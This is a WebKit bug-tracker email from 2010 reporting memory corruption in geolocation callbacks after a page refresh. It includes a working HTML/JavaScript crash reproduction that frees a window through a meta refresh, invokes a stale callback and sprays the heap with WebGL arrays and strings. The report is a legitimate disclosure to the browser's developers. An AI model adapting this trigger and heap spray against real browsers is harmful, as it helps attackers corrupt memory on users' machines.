[Webkit-unassigned] [Bug 43776] New: Chromium 51670 WebCore::GeolocationService::positionChanged memory corruption

bugzilla-daemon at webkit.org bugzilla-daemon at webkit.org
Tue Aug 10 01:55:35 PDT 2010


https://bugs.webkit.org/show_bug.cgi?id=43776

           Summary: Chromium 51670
                    WebCore::GeolocationService::positionChanged memory
                    corruption
           Product: WebKit
           Version: 528+ (Nightly build)
          Platform: PC
               URL: http://code.google.com/p/chromium/issues/detail?id=516
                    70
        OS/Version: Windows Vista
            Status: NEW
          Severity: Normal
          Priority: P1
         Component: HTML DOM
        AssignedTo: webkit-unassigned at lists.webkit.org
        ReportedBy: skylined at chromium.org
                CC: eric at webkit.org


Created an attachment (id=63989)
 --> (https://bugs.webkit.org/attachment.cgi?id=63989)
Repro

Memory corruption when refreshing a window while using geolocation. I think the geolocation code is not considering that the window object it was called from may get deleted or it's callback function may be a method of a deleted window object. When the callback is made, the window object (or the captureEvents method) is probably used-after-free. See also bug 39388. Reported to Chromium project by kuzzcc.

<meta http-equiv="refresh" content="0;url=repro.html"> 
<script>
  if (location.search) {
    window.navigator.geolocation.getCurrentPosition(window.captureEvents);
    window.navigator.geolocation.getCurrentPosition(null);
    heap_corrupt();
  } else {
    document.write('<iframe src="repro.html?go"></iframe>');
  }
  function heap_corrupt() {
    console.log('heap corrupted');
    var a = [];
    for(var si = 0; si < 0x100; si++) {
      try { a.push(new WebGLByteArray(si)) } catch (e) {}
      a.push(new Array(si).join('A'));
    }
    for (var li = 0x200; li < 0x10000; li <<= 1) {
      try { a.push(new WebGLByteArray(li)); } catch (e) {}
      a.push(new Array(li).join('A'));
    }
    delete a;
    try { gc(); } catch (e) {};
  }
</script>

The way the window is refreshed (meta refresh) seems to be important; location.reload() does not seem to work for me.

-- 
Configure bugmail: https://bugs.webkit.org/userprefs.cgi?tab=email
------- You are receiving this mail because: -------
You are the assignee for the bug.



More information about the webkit-unassigned mailing list